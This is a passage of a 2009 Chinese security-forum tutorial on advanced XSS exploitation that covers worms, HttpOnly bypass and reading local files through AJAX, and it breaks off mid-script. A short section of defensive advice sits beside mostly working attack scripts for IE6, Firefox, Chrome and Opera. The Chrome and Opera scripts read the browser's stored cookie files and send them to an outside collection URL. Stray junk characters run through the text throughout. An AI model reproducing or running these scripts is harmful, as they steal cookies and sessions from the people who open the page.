XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
2 l6 T6 t7 {& \: W本帖最后由 racle 于 2009-5-30 09:19 编辑
- Q8 X9 p& ^; [% _8 g; Y: `4 I0 |; y0 O5 G7 |2 N
XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页) f1 Q0 }) C5 E) P: U
By racle@tian6.com
3 d! \6 z6 m9 c% |0 O8 y7 Yhttp://bbs.tian6.com/thread-12711-1-1.html( R. x: L- V3 p# B$ t1 g
转帖请保留版权2 z$ p1 p7 ^4 ^* R
5 a4 Q0 p. R5 j* _* v X* [! t0 |2 S1 K3 D3 j
& \. X, t8 C3 C9 ^( i+ L' N
-------------------------------------------前言---------------------------------------------------------7 _7 d4 T9 L, L( D8 e
# A5 U. l, K/ a4 o0 @2 V' R
4 H0 w& i) \' ^$ W本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.& r# C3 i* _- W6 ?. k$ U9 C# ]
* U4 L# g% a- ~5 v
; z$ L( j2 ?! e- s, A2 \如果你还未具备基础XSS知识,以下几个文章建议拜读:2 y6 j5 N9 _# o" X$ e
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
- n* J% R( c0 i+ d9 x6 bhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全
3 U! Y6 n! S) J2 F( h8 zhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
$ `4 g* @9 {0 ohttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF
0 A& K6 D* T0 `0 W6 Shttp://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
& V9 h ~* m0 e( Rhttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持5 g5 j7 m" G8 }$ A G# `2 J
# F; x" T5 P$ k% M5 [% _, b* R. ?* S
2 _+ E& A4 b1 s* M7 R: }; ^3 x3 Y4 `( [) y; W
2 X" Q7 T+ k, f( X& W! L# ?1 X6 E如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
. ?, \, x8 t3 q' \4 v
% V4 e% }- d6 F8 J0 S; d# F9 r希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.! B9 x3 I; P7 s) m
! v- T& U+ [. u* v# K- ~* U如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,9 z( A* H) f+ K. M
- W% c7 y1 r' [6 W. H6 zBaidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大
- Q6 R2 `8 a! T' a
& S# L/ h4 \% Y" u/ rQQ ZONE,校内网XSS 感染过万QQ ZONE.
7 n& U4 p+ r/ s4 C: t- Y! F: o' D: T) {1 i, v
OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
) r" N- I" N8 x( o- C
% _6 |3 y5 Q7 @/ I0 A6 `& \6 M& v' n..........2 ^, g7 y+ o1 G9 u3 T- C/ ]
复制代码------------------------------------------介绍-------------------------------------------------------------
/ K: O* w; H/ f4 \$ A# ~' ]: M! @( l. B% i3 x; k& m
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
. M9 l2 p! A. N( r( i( y" h# k- L( M0 |7 a$ h$ r
- L3 \; c6 Q+ {" `
7 r" K7 M3 U0 I. T B! X* u跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.+ X" o m2 |" z: l1 t: j
) U, B9 ] R1 Y& c5 G
2 Z9 H5 K: I9 e" L. G4 n1 _. x( \9 o6 g3 J" k
如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.) k7 Y) A- B* e# E5 ?2 ?
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.9 {( X" q+ l( v5 Q- }
我们在这里重点探讨以下几个问题:. g a* w7 H1 [2 d
7 l7 ~/ f! o* ~* q+ n3 w8 ?5 z
1 通过XSS,我们能实现什么?
/ P7 d" _' v4 F
r* y) J2 }& e" b2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
7 Q% R2 Y7 C# g; F) f" C3 ^8 p& q9 u/ N4 V* r# u! O
3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
7 y& e& w. F" u0 t. ^2 b6 x/ `! y8 V9 W" F) U" D9 P& X: j1 |& Z
4 XSS漏洞在输出和输入两个方面怎么才能避免.3 P2 w( @9 Y) Q0 x9 T# {1 k
X5 W& z2 }: t2 W K# Y# d
6 d) M' P7 i' }1 P# m
! p L: w" u `# }, D8 p------------------------------------------研究正题----------------------------------------------------------" k+ k$ e5 s) P+ X9 N
3 z% _+ ^# ?/ d; a
/ n8 U: v$ w* `5 n, { ?. ^# b1 O! C, }; u5 s! l1 {+ V+ j! c1 d
通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
$ ^+ ]" N! i" }2 `复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫0 s, ?+ Q; _+ s; e% w
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
% ]( y' [0 R. o# ]+ x- S0 J1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
4 N* I1 y, e, I& G$ r5 n( I2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.2 ?* ]% j4 M; S" H' _
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
2 P8 j% Q: ^" C# f! O9 P9 k! n7 {4:Http-only可以采用作为COOKIES保护方式之一.
2 k, l u. E) q5 i9 ]* x0 S S
1 D2 f8 w" ?$ H/ v
) Q5 m$ H( s' x H( C; D7 Z* I& Q6 k# l9 R" f
; ~3 u% R6 _) j$ J8 N1 r7 }. M
0 S8 g. K3 y8 `; u# v. K$ e
(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)5 M1 p5 B* }( l$ }+ C" N( D+ E0 f9 A
9 G8 G! ]! |0 s- B7 d我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)9 v$ J: w6 m+ @: I4 E. p+ A% q% M6 R
+ e% F0 V+ R8 B$ ^: S3 _
( [4 S U3 ] [2 T, e
; \/ T; ]3 @- i* u, Q* A 2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。+ q4 z$ H- T) W5 ~* _1 ?- p; _) C
7 P/ f/ e K0 j& C1 S
/ I; A- l8 s7 p8 z# j9 g, f! I; M3 b E0 r5 U" ^, T
3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。# j: N# N$ R9 F# ?3 J$ ]/ A
/ Q" \. U) J2 r. y. \
1 t7 Z* H% u/ n. H$ l7 N% P% X, G- f
4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
7 L9 H3 d( e8 I复制代码IE6使用ajax读取本地文件 <script>! [7 c! J, G* d/ Q1 q |
' U3 W( p7 F. Q. C4 D! `
function $(x){return document.getElementById(x)}# h: A$ `) A6 g( G: M% u n2 \
# K8 w" Y3 Q5 t# ^% J; i7 Z C! c# q8 t- J- \: i- D
; C9 |0 V1 |/ c, T+ t$ H function ajax_obj(){) t- {, j. H E
- V D0 t% p8 ?: R3 S" h. M var request = false;7 L9 W6 W( ]- d! V
' E( J. U, ]* P6 G+ C if(window.XMLHttpRequest) {% c8 b) L1 p; T' p- o5 T# _- ~
8 G2 p3 {5 `' }' q: N& A1 l
request = new XMLHttpRequest();
! x' k" {" [. g' c. u5 `. A) ~" x2 C, h& z
} else if(window.ActiveXObject) {& ~# w% x& A8 X5 `
( O- r6 e$ H X1 L) Y; v
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
. h' x! x9 J) B9 h# G! V
) b0 A |/ n4 b& p
1 E2 d6 K4 a9 B8 j: W2 g
! L8 h4 x( O9 |' b 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];2 i) a, Y: t9 x, k+ \
( j n! V' ~! a' r. ?( J for(var i=0; i<versions.length; i++) {
. B0 W2 V w7 t% o5 x }% s# t
: e! Q4 g7 f1 q4 y/ _ try {
( G' x A$ D$ r2 o" n/ f" F
$ C' F0 l! a* ~" c# w, F request = new ActiveXObject(versions);) |3 _4 M5 J- ?! ], E7 B
) x% x, Q6 ^. k/ O } catch(e) {}
6 W4 S, W* w" `( V
% [8 ~6 y" v( {( |1 U3 { }, W" A; ]( m* A2 s- \
: d4 t8 c7 l0 v4 r3 N. N }
, y5 T3 H6 c( J: b0 V8 c$ F1 A7 F k& S6 ^
return request;
: R* F8 C7 k2 E! H0 u$ H, T& O% O" R
}# t* C9 @! P/ z) b+ D8 {
! ^+ H1 G% w5 z1 o1 W8 W/ J
var _x = ajax_obj();6 \6 U0 v" a) H0 x. B- Y4 K5 N7 c: l3 d5 r
' z0 u8 S6 W" T! t9 o function _7or3(_m,action,argv){5 d0 z0 j- l' ?2 g
% g2 @! Z, x) n' j" C' [ _x.open(_m,action,false);* \( x8 ?( W3 y/ M7 U8 T5 }" x* q
/ ^% h6 t2 ~! x( h3 D if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");( C9 D! E" W% ^7 E& O% V2 m1 q6 y
7 d+ V3 }3 `% k- P- ]: P
_x.send(argv);) O1 u3 |0 [2 @* A
) {; s* |$ Q, H- I5 h return _x.responseText;
) v3 I) y0 q1 W* i7 K' m3 @3 U5 }' n# M& Z! X. Q
}
/ J" a% r E: @7 C/ d6 ]9 K
0 X' q T& |2 H' a, G: M& U9 {% l
1 b' K G: _+ z" g1 m' z: \+ p, d
var txt=_7or3("GET","file://localhost/C:/11.txt",null);
" L1 Z( }% s- C4 i' j& U4 g* s* F' R! s8 `9 B( y
alert(txt);
/ L+ h. c; U0 M) |. r2 t5 ~4 E
/ P9 z9 Q9 }& I2 z4 r$ h" O4 l& x" I
1 s5 x, W2 d+ O' d w5 @
</script>
3 z/ H1 r3 O1 E- W复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>- U; |# \5 L3 n
# A! P9 R. \. i! c6 G, m
function $(x){return document.getElementById(x)}
2 @' R" R& b" w4 H3 O% ^0 Z
1 p I1 r$ }+ s8 S9 @
6 E" |; a8 ^- G" h2 E& `: ]- A
& k. {* G1 v6 L m ~1 g5 P5 K function ajax_obj(){* Q' v8 j7 y, Z
9 t, K- Q* ^8 K, K; d- C C! S) e
var request = false;
, s. O/ q {" C, `1 L5 T5 t9 X% W- z5 B; u% B$ T* k
if(window.XMLHttpRequest) {
; N) D; h, y! M% H& ]6 ?" f; S4 G: z+ W- m# g6 H- o( j
request = new XMLHttpRequest();7 Q# O" P9 `: V* D+ x8 P+ E x
4 O# L4 J1 E; D$ N$ V9 ?$ u; J } else if(window.ActiveXObject) {
2 ~( I* U! R. _# T7 | E: w0 ]; h% P3 i H: F
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
% o+ Q; ?1 g) u6 |
' Q1 M8 w5 x# p1 D/ P/ P: x
" R/ E7 y; F/ W' h8 X, d8 W' \
+ W* F M3 P/ j# y. d+ N5 f. d x 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];$ c: N5 g$ F( S+ F; K
! f9 b7 Q/ M/ o. M- N for(var i=0; i<versions.length; i++) {
" ^1 N8 \ s* g W! \+ k {+ f/ c( d/ o5 T5 G
try {
7 g; ^- ]3 w7 c% V. j- \5 r& A; ^; H" a* a( v4 V/ g+ i
request = new ActiveXObject(versions);0 \9 j @) ]4 E; ^# y4 ^
$ g M" [! z9 F% w& o5 h
} catch(e) {}+ N5 m9 c9 u$ |; {4 t/ w% b* N
5 @8 Z" x; l6 u+ k
}
( U# C4 i4 R$ c P- t
8 ]2 w0 s8 m8 L; [ }
6 P5 s6 n; D5 X1 `- c5 U( r' h; o4 \. U
0 J; a" u' U" n/ o: o% v return request;; N9 c- B9 }2 }8 Z
8 F2 X( z4 E2 L+ }$ l$ Y( j }9 ^- ?! q, V; g% B, z5 N
0 Q# g- k% }! n+ Z, R7 o8 q6 z
var _x = ajax_obj();% Z0 K) v- a; W! w& T" p+ o/ `+ q4 W
" K6 B1 F6 j4 Q0 ~ R2 K function _7or3(_m,action,argv){
+ ]( g& p F: g
2 [0 N3 e" c& z' }& ^5 m _x.open(_m,action,false);, u2 j, O) D1 L
- K# e7 Q* q; p" G1 j; _; c
if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");4 J% o* D. R1 d- I5 X3 J+ _; ]
7 g$ D9 [8 W0 {9 @5 ^; D+ c. F _x.send(argv);8 N6 X/ n) k# e4 w: ~
1 x K! b6 f/ h/ u return _x.responseText;
1 `" K) O0 u, x6 x4 T3 E8 h& S9 D5 A! m
}6 x& r6 N8 W% B6 o' O5 [$ O8 u
/ ?& W& Y0 r+ ^; i# b2 ~/ G7 x2 h- b7 J
( G5 f/ h4 L. I$ M0 { var txt=_7or3("GET","1/11.txt",null);
: |/ x1 @( ]3 ~ b! N. r4 x& C6 @! V* V
alert(txt);
/ U- L# k! W n% A7 A& g" U1 n7 v" A8 [
: u4 [/ D" ~& ?7 s, u( a% F
& r5 Z4 W( L: t d" M3 G" V
</script>
+ e# J/ f- f* U! [复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
5 H& Z& f! s0 d" B# M+ \) y: a5 y
4 q- A3 |. p7 z$ X
! k4 E ]* ^$ \1 G8 E" [* r# n0 f; L, @5 Y
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
: o2 M% r/ P+ r0 a! n/ g0 l
" K. H, k6 [' G8 K% m; ~0 u& K: j) L- Z+ q8 K
1 d& ?) {; X$ p. B; _& Y6 Z) K& i& t1 A
<?
5 b9 a" z. A* L0 e" Y
" z% |7 O2 ?' d1 _/ |. J/*
& L/ \! e! {7 V: P4 Z# r' B- o, a' h- p k% V
Chrome 1.0.154.53 use ajax read local txt file and upload exp
2 S( s; Y6 E7 k7 L
' @( [: S! }: [( g( n www.inbreak.net
) @: }2 _% v: Q1 b( ?4 }! H6 \) A1 |9 \) }! ?3 ? G) ~0 q
author voidloafer@gmail.com 2009-4-22
2 d6 Q8 F8 }4 q, y8 i/ T& F3 H% n4 a( E T( G+ l j
http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. # t6 r1 D0 n# S2 I% G. S$ e6 w
- }# C) {+ _. c
*/
8 D4 W' l4 t8 h& Q( U' C1 C* r$ C2 p( ]3 G
header("Content-Disposition: attachment;filename=kxlzx.htm"); $ K" s- }6 i: O6 t. p
- Y0 \3 X: ^! W. l+ \% _0 @
header("Content-type: application/kxlzx");
3 k& K2 H5 @9 t7 o; o
( Q1 e/ K4 M0 P& [) u/*
0 D3 S9 t) o. S T7 u) V
/ I& y. x5 c @% y" A% Q! q set header, so just download html file,and open it at local.
8 [% ~6 q7 Q# A& B1 b" i: r% t5 x; ]* G6 A& I3 q$ P
*/ $ ~2 {# K) `9 l5 G/ @
% r' r. N Z0 h1 h
?> % V+ r, @0 o8 ?
- d" R" [' G& N5 O- Z: L. H, s9 |<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST">
9 b6 W& F2 r2 I6 S3 z# c5 Q5 O, |
" Z9 P# m. ^% @ <input id="input" name="cookie" value="" type="hidden">
2 N7 B$ ?3 z4 E3 ~' h$ K3 H$ L2 h, B$ }. w; y# t9 e
</form>
9 L5 {% N6 Q, O0 q( i% r* L: m' o
<script> . h0 `: H# Y% w5 r( a
7 Z2 k2 n+ m' R$ g( C+ W4 ]5 S. Z
function doMyAjax(user)
* j9 Y' a# W6 a# z: N2 z; ~5 e! e6 W
{
$ D+ u: t h6 f: I% ^5 D
* C5 k7 }( h) g( vvar time = Math.random();
9 p" x2 F0 R0 B$ c* j, \
/ k2 x+ f: x, l s/*
4 U7 g) _. }- I% K9 g3 _+ H5 c3 Y* w# }% d( {
the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default 9 r+ O0 W2 W5 }: H
; f7 C6 M; t/ _, m0 K; C4 i/ o- B& l7 b
and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History
0 l# f5 Z" _+ `( P/ g' H# E' Q& W2 ]7 l4 d! ^
and so on...
9 C5 Y6 K6 u& B5 G" ]4 Q8 y$ U, b1 m- q$ f. ^4 a. [4 P8 T: ]* P
*/
- r4 ~8 `7 e8 l9 b, J6 f3 r4 o/ w. ^! R" n: @ ]5 Z: j
var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; , c `. R; N0 M8 r9 }- }! ?% \ \
2 p; p3 L! B- w7 f: L: D+ V
0 k3 p( u) S1 {3 L0 U" | ~ I X; Y2 y. e1 v+ Y- [9 \7 }2 Q
startRequest(strPer); ( ?7 A/ i0 d6 `/ J, D" l+ i3 I. u" u
/ }2 Q2 W+ K. T& l3 s/ x6 e& m7 M+ R/ o R. z
! T ~+ _+ l. D4 K, P! i: i; X} ( Q: {( u" c! x" g
+ W- \. o* s- M; j
! ]' Y; J. a9 M9 E1 b" ?0 m \
* J. j* w* U! xfunction Enshellcode(txt)
8 Z% P& V+ W) q1 e0 U$ ]2 s6 u/ ]% r, p8 c) K5 l& s* J; C, N6 n: ~
{ % U$ o0 F# J4 h
: I1 U& m9 N+ h2 o
var url=new String(txt); ( S* T0 v e# S$ n7 {, B
7 {/ `' F, Y" \. z4 q1 S
var i=0,l=0,k=0,curl="";
D* d+ r6 @7 [- _6 G3 d$ M7 N( H, @
l= url.length; & {% V7 I( x1 F$ |: F6 d
8 D3 d* d& K- Y: x$ I8 O
for(;i<l;i++){ . N5 }8 V9 t9 Y" B8 E
; f% x4 t5 L4 i, c! V
k=url.charCodeAt(i); 1 I+ b5 c& a/ l( [4 R
/ P! V" x' s% D) X! @5 g# nif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
; d2 q( e4 L/ O5 B& q
" }$ z% a/ Z7 C; k& @- j A0 Oif (l%2){curl+="00";}else{curl+="0000";}
- P+ t2 n; E' {2 H0 N. s
; Y- R/ Q( n6 I2 w, p, e+ M$ R% Ycurl=curl.replace(/(..)(..)/g,"%u$2$1");
2 X& F2 \8 ` T( m3 p$ r f+ e5 C" t2 G/ b- k F
return curl; 4 g% H' X0 m3 _% p# d, d: Y+ n
* _6 E9 ^- d, I) q6 ~1 {
}
/ R, `, n k! b- _1 ^* C" Z
% n; ^* \ G2 A c% U& u
, N, H( f* ]! }! B4 o% f( Y# W+ R+ o
/ K* s/ U6 y A6 f
% k* m: I9 |7 c4 a# r" _
var xmlHttp; 9 }0 Q2 q$ ]7 p: S2 Y4 s
5 V- X- O! |. T+ {" Z! R) s
function createXMLHttp(){ + r- n) k4 R0 p& g& _- j. Y! ]
( h9 ^" y d3 ?: o0 N8 o6 |; t if(window.XMLHttpRequest){ " m, t# _* r1 @' k
3 ?! H8 i! x$ b }3 h
xmlHttp = new XMLHttpRequest();
" }" _8 P' Z4 P9 {& Q2 J5 G4 o+ M- S% x2 i, d
}
$ o9 p b" `. D: `. y4 f9 j D6 f, o( H. ^+ Z! F
else if(window.ActiveXObject){
8 T6 x K" U" N: l/ V& C$ R( u% f; m0 f; J; Q; r3 Z4 ?, B, d
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 6 Y: Z; \- {2 k
2 M! \" [+ D# M3 X. N- B } + s2 I; i3 h3 p
5 B- }7 H7 E @. z$ T; J: S} 2 C1 M" V6 f5 |' X( O, U4 ~
$ ~8 Q+ k* b' H* ]3 P" Y# E
) z2 k5 J+ h( F* h9 ^0 ?. l% l. e8 @, T8 L9 `/ x
function startRequest(doUrl){ * e9 v G2 z- N g
: g" c% K! O7 I( k
' d" v* d: C$ r& b: J
) y! Y% G2 J; k0 R
createXMLHttp();
0 Z3 t6 w6 K& ^0 [7 R: I; _8 Q
9 p& w: y+ C1 i; i$ i* ]; [
! k4 \9 H' u: }" C, X1 g" X6 V) ^; w1 }6 f. E0 e$ C
xmlHttp.onreadystatechange = handleStateChange; / [/ ~1 H+ V4 M4 h
& U$ K/ w$ t' F
+ r9 \% g9 y/ T
. x) }& Y# Z4 G! _% C xmlHttp.open("GET", doUrl, true); 4 ~* [ ]5 b; Y* C4 ~9 _
) o3 J2 K! X, l$ @1 D7 `! M% k6 I' |# n4 p1 h2 P7 N/ W* H& q
. N) m, {1 F1 Y6 e7 U. o' W
xmlHttp.send(null);
) Z& D( j& E- Q: w) ^( E) l+ T" `% Z; b/ U* D$ ]( V- i
6 Z9 M7 g2 ?1 s6 U4 M- j
6 L7 v# d' n$ v6 a( ~# e, I; r* ^ h& r
/ N' h, `0 f* v& o}
, N6 O( C: K- I. m9 b2 R6 t3 {
) w7 E1 J- {8 j: I8 z2 R7 x2 g , t4 S# F: Y. p# f6 W
7 ^5 T3 r8 t5 N& I5 V0 z `7 i
function handleStateChange(){ ) k: C/ j( o0 d3 t$ O
- D9 ]8 V1 |2 i0 `9 s9 N- n
if (xmlHttp.readyState == 4 ){ ( f6 N. s9 D- e
" s7 e+ m" Z' ~; j1 u$ T( ~& \
var strResponse = ""; 8 _. X& G$ V* z6 O( L9 z
! V6 Z7 {# q" u$ W) z. ]* n( T
setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000); 3 L5 n+ U3 v+ U0 e
( D$ v5 V, E; `$ W* N4 h
# G. X; r4 D' k6 Y* s
" @" y! X1 S Q }
0 g) ~9 N4 g+ q/ J6 s) l
9 L' u, y/ b$ l( \* M8 x `( ]}
1 P& `1 M7 v$ w, g) `
$ c! b% f% n4 Q
: z$ f& m1 U2 z- t
( C. D% B5 P w( x/ m 1 A W! Z' }4 Y# Q' ?+ g
1 f5 Z: l6 ]2 R9 |/ x% A
function framekxlzxPost(text)
3 i j5 D" p$ E9 E! k8 K+ G4 k% f* N! u) S, m0 L7 X
{
$ W9 Y* y! z' i
, w0 P+ n# b. p2 R1 b% V W document.getElementById("input").value = Enshellcode(text); ! F8 f. p2 O/ D; l4 t, B" f+ m2 V
# E H$ R0 |6 G2 A
document.getElementById("form").submit();
. C; @- {& W7 j% _) q) ^7 @& [$ a3 S2 x" t. I, j
} $ L6 f5 C! V; w; M7 \
) y! C* C2 ^* E3 W1 ?! O! `
! \. E9 D- U% \! `8 r# R% S3 ^6 B) E2 }
doMyAjax("administrator"); + x) Y* t( b( D5 l4 q7 }7 [' d
9 l/ ~+ f0 z2 H7 y
" i, `( J* @8 [" Q; _: B
1 v x* P9 A A1 X; w</script>
, k# }; W. N( Z/ y复制代码opera 9.52使用ajax读取本地COOKIES文件<script> @2 I7 P9 @6 d X2 k8 Y+ A
: _: x/ \ O5 k% A: l
var xmlHttp; ! Y; a; Y/ o/ y7 L0 h* Z! a
. B7 f0 @: j) [5 g1 K* u+ {function createXMLHttp(){
1 B& X7 O3 N% x
6 E) ?& b) n" x( B2 E1 _. R if(window.XMLHttpRequest){ % r5 U0 F& G$ L# f
* o8 j4 ^( _7 h, r G6 f# C
xmlHttp = new XMLHttpRequest(); 3 Z! }2 l' h$ \# C
8 P `% j: U# [3 y9 b7 w0 ~
}
. L3 L b) a/ l2 z j; _( ^7 N: W( r$ g) z6 a5 H! ]* m
else if(window.ActiveXObject){ . ]) M, O% _* `: u
1 j5 {- X7 F, |
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
% s$ H( A- K8 v0 j! I; G& f
& i/ D0 ~5 P% F% c9 Q }
" V/ O5 ? k1 j6 i; P# {4 C/ }/ D4 H5 `; ^9 m$ s
}
9 A9 O1 [/ ~# I" R6 {0 Q5 |9 k/ t7 i& B
7 y8 o" x% ^. j! l6 s; h% w. \& M- O2 z* d: d4 W
function startRequest(doUrl){
3 |$ {2 j1 ^% Y+ h& }- ?4 n* H# I7 Y3 t$ F7 \
( p$ m; u" w) x8 z6 x
- \# C% C" s$ {0 W+ I2 n createXMLHttp(); 5 u3 \' o: u6 z9 y4 K8 j& b* g8 y+ G
$ s" g' }! q8 r- X( z5 Y2 I" o
. G1 f! f, @; P. b8 Y
/ | {+ b. e, l/ N
xmlHttp.onreadystatechange = handleStateChange; / @( r V" e0 N' ]
! f) }, L2 K7 F; g; q" A 5 c8 R7 _/ {' I8 ]) j0 r
8 }9 H! o6 m3 p; L/ W8 a xmlHttp.open("GET", doUrl, true); . ^2 x5 G1 I" y) m3 X! A
# c- N v. A P6 c; O+ @" |
! r; E% A/ V+ Q" y: p( c$ J
5 ?) X) D. ]$ Z4 Y a6 R xmlHttp.send(null);
3 P8 A, s, v+ L! N1 t5 u4 H: F; \+ w# `
# `: x' C4 T8 H7 F$ ]- m9 s; k* g( S+ I; k2 L; |- X6 x. Z. z1 v. B
: h \& B& Z! x& Q8 n
2 q) J( u$ a+ H( P- i} " a6 ]" K# X- P/ R6 z
, o9 r& V/ G8 M' p( U% s0 g; K7 J
; n0 K5 f8 u! H: T5 }6 _
9 k ^% k5 y+ N$ [" efunction handleStateChange(){ 2 m7 w% \( S& [* ^, ~
7 b) d9 H8 {8 u2 J
if (xmlHttp.readyState == 4 ){
3 L; Q* X- s' V) F8 U
+ l; M0 \- E6 `# w( G. @ var strResponse = ""; / i2 _3 y) {$ I# R
! N8 A: L6 F) C, q; ?+ i* j setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000); / @$ p" I9 L$ n8 U- @
, }' ^* D3 m# @" X+ f - Q/ n, l; L& o2 x+ ^
0 I: k2 s* O P7 r; m7 W' Q1 Y }
0 z3 u! g+ U! D: d" s ~! ]; d1 M; J! u: G% H& }& q+ J% G% p4 ]8 X
}
" q) ]0 l% O) _; \/ ~
7 G& {% K+ ?% S1 l- [9 A0 J3 d2 g - K% u; K8 f$ E! v+ ~/ k& V5 S# s
( \$ G" _5 [( w5 D, z
function doMyAjax(user,file) ; a! |4 e1 U1 W5 D. c" S( c
9 O; O( M' r, n$ H{
/ m% d) G1 Y# s9 n% K4 c. r# r
- V4 Y- W5 O# d3 G5 d9 N var time = Math.random(); 8 b; d* a5 L9 [" L* R3 Y' l
- t' {6 X1 O" E3 N' [" d/ ]* A$ C$ {
) r& O- t4 j) x! n) w
- A0 I' N) {7 ] var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; 5 t8 _- ?& g5 L, ?& E7 o
# T# o8 z) H4 k) H: l
5 F8 X& o! ~$ P6 m" @. O: T$ H" j0 x6 J7 d! u& C* r
startRequest(strPer);
& s- ^) e& ^& c" s
3 N5 E1 F, t! d3 y4 _5 C% A+ n
7 H3 J* v7 b( r
/ x0 Q- q) K1 N$ m1 K+ F} q8 Z) R9 C# g% g
9 @3 Q1 G( f6 V! E4 C 0 l9 G! C( r( j
5 L' B( v1 G G+ x$ z# ~function framekxlzxPost(text) 7 s `( T0 q& C/ c0 b/ i
' @+ {8 ^1 V4 q' z( N' E" G4 Q{ # i. H9 G U0 }* f, C9 c* ]
* N. R- T! ?: R4 o! Y! s$ E. \' n9 ^ document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); ; q& }6 V4 |- W; X' O
% c0 M& s$ m0 I, J8 ?
